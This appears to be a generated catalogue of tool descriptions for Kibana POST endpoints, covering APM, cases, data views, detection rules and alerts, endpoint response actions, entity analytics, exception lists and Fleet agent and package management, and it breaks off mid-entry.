kibana_post_api_apm_agent_keys (write) — Create a new agent key for APM. The user creating an APM agent API key must have at least the `manage_own_api_key` cluster privilege and the APM application-level privileges that it wishes to grant. Kibana POST /api/apm/agent_keys. POST /api/v1/kibana/api/apm/agent_keys. Scopes: api. kibana_post_api_apm_fleet_apm_server_schema (write) — DEPRECATED: This endpoint is intended for internal use by Fleet integrations to push the APM Server configuration schema. Do not use for new integrations. It stores the provided schema object as a Kibana saved object. If Fleet migration is not available on the current deployment, the API returns a 404. Kibana POST /api/apm/fleet/apm_server_schema. POST /api/v1/kibana/api/apm/fleet/apm_server_schema. Scopes: api. kibana_post_api_apm_services_by_servicename_annotation (write) — Create a new annotation for a specific service. Kibana POST /api/apm/services/{serviceName}/annotation. POST /api/v1/kibana/api/apm/services/{serviceName}/annotation. Scopes: api. kibana_post_api_apm_settings_agent_configuration_search (write) — DEPRECATED: This endpoint is intended for internal use by APM agents to fetch their configuration and mark it as applied. Do not use for new integrations. Kibana POST /api/apm/settings/agent-configuration/search. POST /api/v1/kibana/api/apm/settings/agent-configuration/search. Scopes: api. kibana_post_api_asset_criticality (write) — **Deprecated in 9.4.0.** Use the Entity Store APIs to assign asset criticality to an entity. Create or update an asset criticality record for a specific entity. If a record already exists for the specified entity, that record is overwritten with the specified value. Kibana POST /api/asset_criticality. POST /api/v1/kibana/api/asset_criticality. Scopes: api. kibana_post_api_asset_criticality_bulk (write) — **Deprecated in 9.4.0.** Use the Entity Store APIs to bulk assign asset criticality. Bulk upsert up to 1000 asset criticality records. If asset criticality records already exist for the specified entities, those records are overwritten with the specified values. Kibana POST /api/asset_criticality/bulk. POST /api/v1/kibana/api/asset_criticality/bulk. Scopes: api. kibana_post_api_attack_discovery_bulk (write) — Performs bulk updates on multiple Attack discoveries, including workflow status changes and visibility settings. This endpoint allows efficient batch processing of alert modifications without requiring individual API calls for each alert. Kibana POST /api/attack_discovery/_bulk. POST /api/v1/kibana/api/attack_discovery/_bulk. Scopes: api. kibana_post_api_attack_discovery_generate (write) — Initiates the generation of attack discoveries by analyzing security alerts using AI. Returns an execution UUID that can be used to track the generation progress and retrieve results. Results may also be retrieved via the find endpoint. Kibana POST /api/attack_discovery/_generate. POST /api/v1/kibana/api/attack_discovery/_generate. Scopes: api. kibana_post_api_attack_discovery_generations_by_execution_uuid_dismiss (write) — Dismisses an Attack Discovery generation for the current user, indicating that its status should not be reported in the UI. This sets the generation's status to "dismissed" and affects how the generation appears in subsequent queries. Kibana POST /api/attack_discovery/generations/{execution_uuid}/_dismiss. POST /api/v1/kibana/api/attack_discovery/generations/{execution_uuid}/_dismiss. Scopes: api. kibana_post_api_attack_discovery_schedules (write) — Creates a new Attack Discovery schedule that analyzes security alerts at specified intervals. The schedule defines when and how Attack Discovery analysis should run, including which alerts to analyze, which AI connector to use, and what actions to take when discoveries are found. Kibana POST /api/attack_discovery/schedules. POST /api/v1/kibana/api/attack_discovery/schedules. Scopes: api. kibana_post_api_attack_discovery_schedules_bulk_delete (write) — Deletes multiple Attack Discovery schedules by ID. Kibana POST /api/attack_discovery/schedules/_bulk_delete. POST /api/v1/kibana/api/attack_discovery/schedules/_bulk_delete. Scopes: api. kibana_post_api_attack_discovery_schedules_bulk_disable (write) — Disables multiple Attack Discovery schedules by ID. Kibana POST /api/attack_discovery/schedules/_bulk_disable. POST /api/v1/kibana/api/attack_discovery/schedules/_bulk_disable. Scopes: api. kibana_post_api_attack_discovery_schedules_bulk_enable (write) — Enables multiple Attack Discovery schedules by ID. Kibana POST /api/attack_discovery/schedules/_bulk_enable. POST /api/v1/kibana/api/attack_discovery/schedules/_bulk_enable. Scopes: api. kibana_post_api_attack_discovery_schedules_by_id_disable (write) — Disables an Attack Discovery schedule, preventing it from running according to its configured interval. The schedule configuration is preserved and can be re-enabled later. Any currently running executions will complete, but no new executions will be started. Kibana POST /api/attack_discovery/schedules/{id}/_disable. POST /api/v1/kibana/api/attack_discovery/schedules/{id}/_disable. Scopes: api. kibana_post_api_attack_discovery_schedules_by_id_enable (write) — Enables a previously disabled Attack Discovery schedule, allowing it to run according to its configured interval. Once enabled, the schedule will begin executing at the next scheduled time based on its interval configuration. Kibana POST /api/attack_discovery/schedules/{id}/_enable. POST /api/v1/kibana/api/attack_discovery/schedules/{id}/_enable. Scopes: api. kibana_post_api_cases (write) — You must have `all` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the case you're creating. Kibana POST /api/cases. POST /api/v1/kibana/api/cases. Scopes: api. kibana_post_api_cases_by_caseid_comments (write) — You must have `all` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the case you're creating. NOTE: Each case can have a maximum of 1,000 alerts. Kibana POST /api/cases/{caseId}/comments. POST /api/v1/kibana/api/cases/{caseId}/comments. Scopes: api. kibana_post_api_cases_by_caseid_connector_by_connectorid_push (write) — You must have `all` privileges for the **Actions and Connectors** feature in the **Management** section of the Kibana feature privileges. Kibana POST /api/cases/{caseId}/connector/{connectorId}/_push. POST /api/v1/kibana/api/cases/{caseId}/connector/{connectorId}/_push. Scopes: api. kibana_post_api_cases_configure (write) — Case settings include external connection details, custom fields, and templates. Connectors are used to interface with external systems. You must create a connector before you can use it in your cases. If you set a default connector, it is automatically selected when you create cases in Kibana. Kibana POST /api/cases/configure. POST /api/v1/kibana/api/cases/configure. Scopes: api. kibana_post_api_cases_templates (write) — Creates a case template from a YAML definition. You must have the "Manage templates" sub-privilege for the Cases feature of the owning solution. Set `dry_run=true` to run the full validation (body, YAML definition, name uniqueness, authorization) without creating anything. [Technical preview] Kibana POST /api/cases/templates. POST /api/v1/kibana/api/cases/templates. Scopes: api. kibana_post_api_dashboards (write) — > This documentation is temporarily hosted at a separate location. > > **[View the full Dashboards API reference →](https://elastic.github.io/dashboards-api-spec/dashboards#tag/Dashboards)**. Kibana POST /api/dashboards. POST /api/v1/kibana/api/dashboards. Scopes: api. kibana_post_api_data_views_data_view (write) — Create a data view. Data views identify the Elasticsearch data you want to explore and visualize. They can point to one or more data streams, indices, or index aliases, and use optional runtime fields to compute values at query time. Note that data views are not required for ES|QL-based visualizations. Kibana POST /api/data_views/data_view. POST /api/v1/kibana/api/data_views/data_view. Scopes: api. kibana_post_api_data_views_data_view_by_viewid (write) — Update an existing data view. Only the fields provided in the request body are updated. Kibana POST /api/data_views/data_view/{viewId}. POST /api/v1/kibana/api/data_views/data_view/{viewId}. Scopes: api. kibana_post_api_data_views_data_view_by_viewid_fields (write) — Update field metadata for a data view. Use this endpoint to set custom labels, custom descriptions, and format overrides for individual fields. Kibana POST /api/data_views/data_view/{viewId}/fields. POST /api/v1/kibana/api/data_views/data_view/{viewId}/fields. Scopes: api. kibana_post_api_data_views_data_view_by_viewid_runtime_field (write) — Create a runtime field for a data view. Runtime fields are computed at query time using a [Painless script](https://www.elastic.co/docs/explore-analyze/scripting/modules-scripting-painless) and do not require reindexing. Kibana POST /api/data_views/data_view/{viewId}/runtime_field. POST /api/v1/kibana/api/data_views/data_view/{viewId}/runtime_field. Scopes: api. kibana_post_api_data_views_data_view_by_viewid_runtime_field_by_fieldname (write) — Update an existing runtime field in a data view. Only the fields provided in the request body are updated. Kibana POST /api/data_views/data_view/{viewId}/runtime_field/{fieldName}. POST /api/v1/kibana/api/data_views/data_view/{viewId}/runtime_field/{fieldName}. Scopes: api. kibana_post_api_data_views_default (write) — Set the default data view for the current Kibana space. The default data view is used as a fallback when no specific data view is selected. Kibana POST /api/data_views/default. POST /api/v1/kibana/api/data_views/default. Scopes: api. kibana_post_api_data_views_swap_references (write) — Swap saved object references from one data view to another. Use this endpoint to update dashboards, visualizations, and other saved objects that reference a data view. Kibana POST /api/data_views/swap_references. POST /api/v1/kibana/api/data_views/swap_references. Scopes: api. kibana_post_api_data_views_swap_references_preview (write) — Preview the effect of swapping saved object references from one data view to another. Returns the list of affected saved objects without making any changes. Kibana POST /api/data_views/swap_references/_preview. POST /api/v1/kibana/api/data_views/swap_references/_preview. Scopes: api. kibana_post_api_detection_engine_attacks_assignees (write) — Assign users to attack discovery alerts, and unassign them from alerts. Optionally cascade the change to related detection alerts via `kibana.alert.attack_discovery.alert_ids`. > info > You cannot add and remove the same assignee in the same request. [added in 9.5.0] Kibana POST /api/detection_engine/attacks/assignees. POST /api/v1/kibana/api/detection_engine/attacks/assignees. Scopes: api. kibana_post_api_detection_engine_attacks_search (write) — Find and/or aggregate attack discovery alerts that match the given query. Searches scheduled and ad hoc attack discovery alert indices for the active space only. [added in 9.5.0] Kibana POST /api/detection_engine/attacks/search. POST /api/v1/kibana/api/detection_engine/attacks/search. Scopes: api. kibana_post_api_detection_engine_attacks_status (write) — Set the workflow status of one or more attack discovery alerts by IDs, optionally cascading the status to their related detection alerts. [added in 9.5.0] Kibana POST /api/detection_engine/attacks/status. POST /api/v1/kibana/api/detection_engine/attacks/status. Scopes: api. kibana_post_api_detection_engine_attacks_tags (write) — Add tags to attack discovery alerts, and remove them from alerts, by attack IDs in a single request. Optionally cascade tag changes to related detection alerts. [added in 9.5.0] Kibana POST /api/detection_engine/attacks/tags. POST /api/v1/kibana/api/detection_engine/attacks/tags. Scopes: api. kibana_post_api_detection_engine_index (write) — Creates an index for Elastic Security alerts. Calling this API is not required for the detection engine to function properly. You can create rules and alerts without calling this API. Kibana POST /api/detection_engine/index. POST /api/v1/kibana/api/detection_engine/index. Scopes: api. kibana_post_api_detection_engine_rules (write) — Create a new detection rule. > warn > When used with [API key](https://www.elastic.co/docs/deploy-manage/api-keys) authentication, the user's key gets assigned to the affected rules. If the user's key gets deleted or the user becomes inactive, the rules will stop running. Kibana POST /api/detection_engine/rules. POST /api/v1/kibana/api/detection_engine/rules. Scopes: api. kibana_post_api_detection_engine_rules_bulk_action (write) — Apply a bulk action, such as bulk edit, duplicate, or delete, to multiple detection rules. The bulk action is applied to all rules that match the query or to the rules listed by their IDs. Kibana POST /api/detection_engine/rules/_bulk_action. POST /api/v1/kibana/api/detection_engine/rules/_bulk_action. Scopes: api. kibana_post_api_detection_engine_rules_by_id_exceptions (write) — Create exception items that apply to a single detection rule. Kibana POST /api/detection_engine/rules/{id}/exceptions. POST /api/v1/kibana/api/detection_engine/rules/{id}/exceptions. Scopes: api. kibana_post_api_detection_engine_rules_preview (write) — Simulates a detection rule using the same rule type and query logic as a persisted rule, over a short time window, without persisting a rule or writing alerts. Use the response to validate queries, see sample matching documents, and inspect execution logs. Pair `invocationCount` and `timeframeEnd` to cap run time. Kibana POST /api/detection_engine/rules/preview. POST /api/v1/kibana/api/detection_engine/rules/preview. Scopes: api. kibana_post_api_detection_engine_signals_assignees (write) — Assign users to detection alerts, and unassign them from alerts. > info > You cannot add and remove the same assignee in the same request. Kibana POST /api/detection_engine/signals/assignees. POST /api/v1/kibana/api/detection_engine/signals/assignees. Scopes: api. kibana_post_api_detection_engine_signals_finalize_migration (write) — **DEPRECATED.** Completes a legacy alert index migration. Do not automate against this in new code. **WARNING:** Finalizing swaps read aliases; confirm the migration has finished successfully before calling. Finalize successful migrations of detection alerts. Kibana POST /api/detection_engine/signals/finalize_migration. POST /api/v1/kibana/api/detection_engine/signals/finalize_migration. Scopes: api. kibana_post_api_detection_engine_signals_migration (write) — **DEPRECATED.** Legacy API for on-demand reindexing of old `.siem-signals-*` alert indices. Do not build new integrations; upgrade the Elastic Stack and rely on product-managed data lifecycle instead. **WARNING:** Migrations can be resource intensive and should be planned during a maintenance window. Kibana POST /api/detection_engine/signals/migration. POST /api/v1/kibana/api/detection_engine/signals/migration. Scopes: api. kibana_post_api_detection_engine_signals_search (write) — Find and/or aggregate detection alerts that match the given query. Kibana POST /api/detection_engine/signals/search. POST /api/v1/kibana/api/detection_engine/signals/search. Scopes: api. kibana_post_api_detection_engine_signals_status (write) — Set the status of one or more detection alerts. Kibana POST /api/detection_engine/signals/status. POST /api/v1/kibana/api/detection_engine/signals/status. Scopes: api. kibana_post_api_detection_engine_signals_tags (write) — Add tags to detection alerts, and remove them from alerts, by alert IDs or a query, in a single request. > info > You cannot add and remove the same alert tag in the same request. Kibana POST /api/detection_engine/signals/tags. POST /api/v1/kibana/api/detection_engine/signals/tags. Scopes: api. kibana_post_api_encrypted_saved_objects_rotate_key (write) — Superuser role required. If a saved object cannot be decrypted using the primary encryption key, then Kibana will attempt to decrypt it using the specified decryption-only keys. Kibana POST /api/encrypted_saved_objects/_rotate_key. POST /api/v1/kibana/api/encrypted_saved_objects/_rotate_key. Scopes: api. kibana_post_api_endpoint_action_cancel (write) — Cancel a running or pending response action (Applies only to some agent types). Kibana POST /api/endpoint/action/cancel. POST /api/v1/kibana/api/endpoint/action/cancel. Scopes: api. kibana_post_api_endpoint_action_execute (write) — Run a shell command on an endpoint. Kibana POST /api/endpoint/action/execute. POST /api/v1/kibana/api/endpoint/action/execute. Scopes: api. kibana_post_api_endpoint_action_get_file (write) — Get a file from an endpoint. Kibana POST /api/endpoint/action/get_file. POST /api/v1/kibana/api/endpoint/action/get_file. Scopes: api. kibana_post_api_endpoint_action_isolate (write) — Isolate an endpoint from the network. The endpoint remains isolated until it's released. Kibana POST /api/endpoint/action/isolate. POST /api/v1/kibana/api/endpoint/action/isolate. Scopes: api. kibana_post_api_endpoint_action_kill_process (write) — Terminate a running process on an endpoint. Kibana POST /api/endpoint/action/kill_process. POST /api/v1/kibana/api/endpoint/action/kill_process. Scopes: api. kibana_post_api_endpoint_action_memory_dump (write) — Generates memory dumps on the targeted host. Kibana POST /api/endpoint/action/memory_dump. POST /api/v1/kibana/api/endpoint/action/memory_dump. Scopes: api. kibana_post_api_endpoint_action_run_script (write) — Run a script on a host. Currently supported only for some agent types. Kibana POST /api/endpoint/action/run_script. POST /api/v1/kibana/api/endpoint/action/run_script. Scopes: api. kibana_post_api_endpoint_action_running_procs (write) — Get a list of all processes running on an endpoint. Kibana POST /api/endpoint/action/running_procs. POST /api/v1/kibana/api/endpoint/action/running_procs. Scopes: api. kibana_post_api_endpoint_action_scan (write) — Scan a specific file or directory on an endpoint for malware. Kibana POST /api/endpoint/action/scan. POST /api/v1/kibana/api/endpoint/action/scan. Scopes: api. kibana_post_api_endpoint_action_suspend_process (write) — Suspend a running process on an endpoint. Kibana POST /api/endpoint/action/suspend_process. POST /api/v1/kibana/api/endpoint/action/suspend_process. Scopes: api. kibana_post_api_endpoint_action_unisolate (write) — Release an isolated endpoint, allowing it to rejoin a network. Kibana POST /api/endpoint/action/unisolate. POST /api/v1/kibana/api/endpoint/action/unisolate. Scopes: api. kibana_post_api_endpoint_list (write) — Create the exception list for Elastic Endpoint rule exceptions. When you create the exception list, it will have a `list_id` of `endpoint_list`. If the Elastic Endpoint exception list already exists, your request will return an empty response. Kibana POST /api/endpoint_list. POST /api/v1/kibana/api/endpoint_list. Scopes: api. kibana_post_api_endpoint_list_items (write) — Create an Elastic Endpoint exception list item, and associate it with the Elastic Endpoint exception list. Kibana POST /api/endpoint_list/items. POST /api/v1/kibana/api/endpoint_list/items. Scopes: api. kibana_post_api_endpoint_protection_updates_note_by_package_policy_id (write) — Create or update the protection updates note for a package policy. Kibana POST /api/endpoint/protection_updates_note/{package_policy_id}. POST /api/v1/kibana/api/endpoint/protection_updates_note/{package_policy_id}. Scopes: api. kibana_post_api_entity_analytics_monitoring_engine_disable (write) — **Deprecated in 9.4.0.** Disables the Privilege Monitoring Engine, stopping all monitoring activity without removing data. Kibana POST /api/entity_analytics/monitoring/engine/disable. POST /api/v1/kibana/api/entity_analytics/monitoring/engine/disable. Scopes: api. kibana_post_api_entity_analytics_monitoring_engine_init (write) — **Deprecated in 9.4.0.** Initializes the Privilege Monitoring Engine, setting up the required resources and starting the engine. Kibana POST /api/entity_analytics/monitoring/engine/init. POST /api/v1/kibana/api/entity_analytics/monitoring/engine/init. Scopes: api. kibana_post_api_entity_analytics_monitoring_engine_schedule_now (write) — **Deprecated in 9.4.0.** Schedules the Privilege Monitoring Engine to run as soon as possible, triggering an immediate monitoring cycle. Kibana POST /api/entity_analytics/monitoring/engine/schedule_now. POST /api/v1/kibana/api/entity_analytics/monitoring/engine/schedule_now. Scopes: api. kibana_post_api_entity_analytics_monitoring_users (write) — **Deprecated in 9.4.0.** Use the Watchlists API instead. Creates a new privileged user to be monitored by the Privilege Monitoring Engine. Kibana POST /api/entity_analytics/monitoring/users. POST /api/v1/kibana/api/entity_analytics/monitoring/users. Scopes: api. kibana_post_api_entity_analytics_privileged_user_monitoring_pad_install (write) — Installs the privileged access detection integration package and sets up the associated ML modules required for the Entity Analytics privileged user monitoring experience. Kibana POST /api/entity_analytics/privileged_user_monitoring/pad/install. POST /api/v1/kibana/api/entity_analytics/privileged_user_monitoring/pad/install. Scopes: api. kibana_post_api_entity_analytics_watchlists (write) — Creates a new entity analytics watchlist with an optional set of entity sources. Watchlists apply a risk score modifier to matched entities. [Technical Preview] Kibana POST /api/entity_analytics/watchlists. POST /api/v1/kibana/api/entity_analytics/watchlists. Scopes: api. kibana_post_api_entity_analytics_watchlists_by_watchlist_id_entities_assign (write) — Assigns the provided entities to the specified watchlist using a "manual" source label. The entities must already exist in the entity store. If an entity is already on the watchlist, no new document is created — the "manual" label is added to its existing source labels instead. [Technical Preview; added in 9.4.0] Kibana POST /api/entity_analytics/watchlists/{watchlist_id}/entities/assign. POST /api/v1/kibana/api/entity_analytics/watchlists/{watchlist_id}/entities/assign. Scopes: api. kibana_post_api_entity_analytics_watchlists_by_watchlist_id_entities_unassign (write) — Unassigns the provided entities from the specified watchlist. This only removes the "manual" assignment. If the entity is also assigned via other sources (for example, index or integration), it will remain on the watchlist. [Technical Preview; added in 9.4.0] Kibana POST /api/entity_analytics/watchlists/{watchlist_id}/entities/unassign. POST /api/v1/kibana/api/entity_analytics/watchlists/{watchlist_id}/entities/unassign. Scopes: api. kibana_post_api_exception_lists (write) — An exception list groups exception items and can be associated with detection rules. You can assign exception lists to multiple detection rules. > info > All exception items added to the same list are evaluated using `OR` logic. Kibana POST /api/exception_lists. POST /api/v1/kibana/api/exception_lists. Scopes: api. kibana_post_api_exception_lists_duplicate (write) — Duplicate an existing exception list. Kibana POST /api/exception_lists/_duplicate. POST /api/v1/kibana/api/exception_lists/_duplicate. Scopes: api. kibana_post_api_exception_lists_items (write) — Create an exception item and associate it with the specified exception list. > info > Before creating exception items, you must create an exception list. Kibana POST /api/exception_lists/items. POST /api/v1/kibana/api/exception_lists/items. Scopes: api. kibana_post_api_exceptions_shared (write) — An exception list groups exception items and can be associated with detection rules. A shared exception list can apply to multiple detection rules. > info > All exception items added to the same list are evaluated using `OR` logic. Kibana POST /api/exceptions/shared. POST /api/v1/kibana/api/exceptions/shared. Scopes: api. kibana_post_api_fleet_agent_download_sources (write) — Create a new agent binary download source. [Required authorization] Route required privileges: fleet-settings-all. Kibana POST /api/fleet/agent_download_sources. POST /api/v1/kibana/api/fleet/agent_download_sources. Scopes: api. kibana_post_api_fleet_agent_policies (write) — Create a new agent policy. [Required authorization] Route required privileges: fleet-agent-policies-all. Kibana POST /api/fleet/agent_policies. POST /api/v1/kibana/api/fleet/agent_policies. Scopes: api. kibana_post_api_fleet_agent_policies_bulk_get (write) — Get multiple agent policies by ID. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-agents-read OR fleet-setup. Kibana POST /api/fleet/agent_policies/_bulk_get. POST /api/v1/kibana/api/fleet/agent_policies/_bulk_get. Scopes: api. kibana_post_api_fleet_agent_policies_by_agentpolicyid_copy (write) — Copy an agent policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-all. Kibana POST /api/fleet/agent_policies/{agentPolicyId}/copy. POST /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}/copy. Scopes: api. kibana_post_api_fleet_agent_policies_delete (write) — Delete an agent policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-all. Kibana POST /api/fleet/agent_policies/delete. POST /api/v1/kibana/api/fleet/agent_policies/delete. Scopes: api. kibana_post_api_fleet_agent_policies_outputs (write) — Get a list of outputs associated with agent policies. [Required authorization] Route required privileges: fleet-agent-policies-read AND fleet-settings-read. Kibana POST /api/fleet/agent_policies/outputs. POST /api/v1/kibana/api/fleet/agent_policies/outputs. Scopes: api. kibana_post_api_fleet_agentless_policies (write) — Deprecated. Use `POST /api/fleet/managed_integrations` instead. Create a managed integration. [Experimental; added in 9.3.0] Kibana POST /api/fleet/agentless_policies. POST /api/v1/kibana/api/fleet/agentless_policies. Scopes: api. kibana_post_api_fleet_agentless_policies_upgrade (write) — Deprecated. Use `POST /api/fleet/managed_integrations/_upgrade` instead. Upgrade multiple managed integrations to their installed package version, migrating each package policy's config onto the new schema. [Experimental; added in 9.5.0] Kibana POST /api/fleet/agentless_policies/_upgrade. POST /api/v1/kibana/api/fleet/agentless_policies/_upgrade. Scopes: api. kibana_post_api_fleet_agentless_policies_upgrade_dryrun (write) — Deprecated. Use `POST /api/fleet/managed_integrations/_upgrade/dryrun` instead. Preview upgrading multiple managed integrations without applying any change. Targets the installed package version by default; pass `pkgVersion` to preview a specific (for example, not-yet-installed) version. [Experimental; added in 9.5.0] Kibana POST /api/fleet/agentless_policies/_upgrade/dryrun. POST /api/v1/kibana/api/fleet/agentless_policies/_upgrade/dryrun. Scopes: api. kibana_post_api_fleet_agents (write) — Retrieve agents associated with specific action IDs. [Required authorization] Route required privileges: fleet-agents-read. Kibana POST /api/fleet/agents. POST /api/v1/kibana/api/fleet/agents. Scopes: api. kibana_post_api_fleet_agents_actions_by_actionid_cancel (write) — Cancel a pending action for a specific agent. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/actions/{actionId}/cancel. POST /api/v1/kibana/api/fleet/agents/actions/{actionId}/cancel. Scopes: api. kibana_post_api_fleet_agents_bulk_migrate (write) — Bulk migrate agents to another cluster. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/bulk_migrate. POST /api/v1/kibana/api/fleet/agents/bulk_migrate. Scopes: api. kibana_post_api_fleet_agents_bulk_privilege_level_change (write) — Change multiple agents' privilege level to unprivileged. [Required authorization] Route required privileges: fleet-agents-all. [Experimental; added in 9.3.0] Kibana POST /api/fleet/agents/bulk_privilege_level_change. POST /api/v1/kibana/api/fleet/agents/bulk_privilege_level_change. Scopes: api. kibana_post_api_fleet_agents_bulk_reassign (write) — Reassign multiple agents to a different agent policy. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/bulk_reassign. POST /api/v1/kibana/api/fleet/agents/bulk_reassign. Scopes: api. kibana_post_api_fleet_agents_bulk_remove_collectors (write) — Remove multiple OpAMP collectors from the Fleet agents list. Marks the collectors as unenrolled. This action does not invalidate API keys, so collectors can reconnect on their own. [Required authorization] Route required privileges: fleet-agents-all. [Experimental; added in 9.5.0] Kibana POST /api/fleet/agents/bulk_remove_collectors. POST /api/v1/kibana/api/fleet/agents/bulk_remove_collectors. Scopes: api. kibana_post_api_fleet_agents_bulk_request_diagnostics (write) — Request diagnostics bundles from multiple agents. [Required authorization] Route required privileges: fleet-agents-read. Kibana POST /api/fleet/agents/bulk_request_diagnostics. POST /api/v1/kibana/api/fleet/agents/bulk_request_diagnostics. Scopes: api. kibana_post_api_fleet_agents_bulk_rollback (write) — Rollback multiple agents to the previous version. [Required authorization] Route required privileges: fleet-agents-all. [Experimental; added in 9.4.0] Kibana POST /api/fleet/agents/bulk_rollback. POST /api/v1/kibana/api/fleet/agents/bulk_rollback. Scopes: api. kibana_post_api_fleet_agents_bulk_unenroll (write) — Unenroll multiple agents, optionally revoking their enrollment API keys. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/bulk_unenroll. POST /api/v1/kibana/api/fleet/agents/bulk_unenroll. Scopes: api. kibana_post_api_fleet_agents_bulk_update_agent_tags (write) — Add or remove tags across multiple agents. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/bulk_update_agent_tags. POST /api/v1/kibana/api/fleet/agents/bulk_update_agent_tags. Scopes: api. kibana_post_api_fleet_agents_bulk_upgrade (write) — Upgrade multiple agents to a newer version, with optional rollout controls. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/bulk_upgrade. POST /api/v1/kibana/api/fleet/agents/bulk_upgrade. Scopes: api. kibana_post_api_fleet_agents_by_agentid_actions (write) — Create a new action for a specific agent. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/{agentId}/actions. POST /api/v1/kibana/api/fleet/agents/{agentId}/actions. Scopes: api. kibana_post_api_fleet_agents_by_agentid_migrate (write) — Migrate a single agent to another cluster. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/{agentId}/migrate. POST /api/v1/kibana/api/fleet/agents/{agentId}/migrate. Scopes: api. kibana_post_api_fleet_agents_by_agentid_privilege_level_change (write) — Change the privilege level of a single agent to unprivileged. [Required authorization] Route required privileges: fleet-agents-all. [Experimental; added in 9.3.0] Kibana POST /api/fleet/agents/{agentId}/privilege_level_change. POST /api/v1/kibana/api/fleet/agents/{agentId}/privilege_level_change. Scopes: api. kibana_post_api_fleet_agents_by_agentid_reassign (write) — Reassign an agent to a different agent policy. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/{agentId}/reassign. POST /api/v1/kibana/api/fleet/agents/{agentId}/reassign. Scopes: api. kibana_post_api_fleet_agents_by_agentid_remove_collector (write) — Remove a specific OpAMP collector from the Fleet agents list. Marks the collector as unenrolled. This action does not invalidate API keys, so the collector can reconnect on its own. [Required authorization] Route required privileges: fleet-agents-all. [Experimental; added in 9.5.0] Kibana POST /api/fleet/agents/{agentId}/remove_collector. POST /api/v1/kibana/api/fleet/agents/{agentId}/remove_collector. Scopes: api. kibana_post_api_fleet_agents_by_agentid_request_diagnostics (write) — Request a diagnostics bundle from a specific agent. [Required authorization] Route required privileges: fleet-agents-read. Kibana POST /api/fleet/agents/{agentId}/request_diagnostics. POST /api/v1/kibana/api/fleet/agents/{agentId}/request_diagnostics. Scopes: api. kibana_post_api_fleet_agents_by_agentid_rollback (write) — Rollback an agent to the previous version. [Required authorization] Route required privileges: fleet-agents-all. [Experimental; added in 9.4.0] Kibana POST /api/fleet/agents/{agentId}/rollback. POST /api/v1/kibana/api/fleet/agents/{agentId}/rollback. Scopes: api. kibana_post_api_fleet_agents_by_agentid_unenroll (write) — Unenroll a specific agent, optionally revoking its enrollment API key. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/{agentId}/unenroll. POST /api/v1/kibana/api/fleet/agents/{agentId}/unenroll. Scopes: api. kibana_post_api_fleet_agents_by_agentid_upgrade (write) — Upgrade a specific agent to a newer version. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/agents/{agentId}/upgrade. POST /api/v1/kibana/api/fleet/agents/{agentId}/upgrade. Scopes: api. kibana_post_api_fleet_agents_setup (write) — Initialize Fleet. This endpoint is used by Elastic Agents to trigger Fleet setup. Safe to call multiple times; subsequent calls are idempotent. [Required authorization] Route required privileges: fleet-agents-read OR fleet-agent-policies-read OR fleet-settings-read OR fleet-setup. Kibana POST /api/fleet/agents/setup. POST /api/v1/kibana/api/fleet/agents/setup. Scopes: api. kibana_post_api_fleet_cloud_connectors (write) — Create a new Fleet cloud connector. [Required authorization] Route required privileges: fleet-agent-policies-all OR integrations-all. [Experimental; added in 9.2.0] Kibana POST /api/fleet/cloud_connectors. POST /api/v1/kibana/api/fleet/cloud_connectors. Scopes: api. kibana_post_api_fleet_enrollment_api_keys (write) — Create an enrollment API key for a given agent policy. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/enrollment_api_keys. POST /api/v1/kibana/api/fleet/enrollment_api_keys. Scopes: api. kibana_post_api_fleet_enrollment_api_keys_bulk_delete (write) — Revoke or delete multiple enrollment API keys. [Required authorization] Route required privileges: fleet-agents-all. [Generally available; added in 9.5.0] Kibana POST /api/fleet/enrollment_api_keys/_bulk_delete. POST /api/v1/kibana/api/fleet/enrollment_api_keys/_bulk_delete. Scopes: api. kibana_post_api_fleet_epm_bulk_assets (write) — Retrieve multiple Kibana saved object assets by their IDs and types. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana POST /api/fleet/epm/bulk_assets. POST /api/v1/kibana/api/fleet/epm/bulk_assets. Scopes: api. kibana_post_api_fleet_epm_custom_integrations (write) — Create a new custom integration package with user-defined data streams. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/custom_integrations. POST /api/v1/kibana/api/fleet/epm/custom_integrations. Scopes: api. kibana_post_api_fleet_epm_packages_bulk (write) — Install multiple packages from the Elastic Package Registry in a single request. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/_bulk. POST /api/v1/kibana/api/fleet/epm/packages/_bulk. Scopes: api. kibana_post_api_fleet_epm_packages_bulk_namespace_customization (write) — Enable or disable namespace-level index template customization for a list of packages in one call. Use this for IaC-style declarative flows. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/_bulk_namespace_customization. POST /api/v1/kibana/api/fleet/epm/packages/_bulk_namespace_customization. Scopes: api. kibana_post_api_fleet_epm_packages_bulk_rollback (write) — Rollback multiple packages to their previous versions. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/_bulk_rollback. POST /api/v1/kibana/api/fleet/epm/packages/_bulk_rollback. Scopes: api. kibana_post_api_fleet_epm_packages_bulk_uninstall (write) — Uninstall multiple packages in a single operation. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST 